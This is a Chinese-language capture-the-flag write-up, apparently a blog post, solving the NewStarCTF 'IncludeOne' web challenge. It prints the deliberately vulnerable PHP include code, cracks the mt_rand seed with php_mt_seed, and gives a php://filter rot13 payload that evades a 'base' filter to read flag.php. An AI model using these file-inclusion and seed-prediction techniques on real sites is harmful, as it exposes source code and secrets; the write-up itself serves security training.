CTF之旅WEB篇(4)--NewStarCTF 公开赛IncludeOne详解

前言:

在看这篇wp之前首先我们要了解文件包含,php伪协议读取,rot13编码,其具体含义即用法自行上网搜索,在文中不做进一步解释。

一、审题

 扔给了我们一个道具?暂时还不知道这是要干嘛,所以我们进入靶场看看。

进入靶场后发现是一段php代码,好了有到了快乐的审计环节,首先我们看看代码什么意思:

<?php
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
    if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
        //flag in `flag.php`
        include($_GET['file']);
    }else{
        echo "Baby Hacker?";
    }
}else{
    echo "No Hacker!";
} Hint: 1219893521
No Hacker!

大体观察一下我们最终要的函数是什么,可以看到有一个inclue文件包含且file参数是可控的,因此基本上可以肯定是文件包含的题了,不过这里对file参数做了过滤我们先不管,先看这里有个新奇的东西mt_rand()和注释的mt_srand(),看到这里的时候确实有点懵住了,不过我们好像题目扔给了我们一个工具所以我们先去看看那个网址讲了写啥。(自己仔细看,这里不做解释了)然后我们下载压缩包并把它拖入我们的centos进行解压,命令为:tar -xzf php_mt_seed-4.0.tar.gz。解压缩之后,我们跟着提示进入php_mt_seed-4.0目录下,随之输入提示中的命令time ./php_mt_seed 1219893521,然后可以看到程序已经开跑了

可以看到跑出来几个参数,我们选取第一个1145146(当然也有可能是其他的)作为我们的mt_srand()

二、编写脚本

直接上代码:

<?php

mt_srand(1145146); 
echo mt_rand();
echo mt_rand();

跑出来一串字符串 12198935211202031004,我们取与题目中的出现的字符串不一样的的一串即后面半串1202031004作为guess参数传参,我们试试会不会进入第一个if循环输出Baby Hacker?

我们发现成功进入循环,接下来只要进入第二个if循环就可以读取文件了

三、 伪协议读取源代码

看到include自然而然想到php伪协议读取源代码即:

file=php://filter/read=convert.base64-encode/resource=flag.php

但这里明显过滤了base,且必须含有NewStar字符串,所以我们使用rot13编码进行绕过,并将NewStar字符串嵌入,所以我们的payload为:

file=php://filter/NewStar/read=string.rot13/resource=flag.php

 

 

 得到flag,进行rot13解码即可。

 总结

主要还是考察对新东西的快速理解,还有一些其他的绕过技巧,平时要养成边刷题边把题目里的一些技巧记录下来的好习惯,这样在其他的题目里的绕过才会更得心应手。

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

shutTD

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值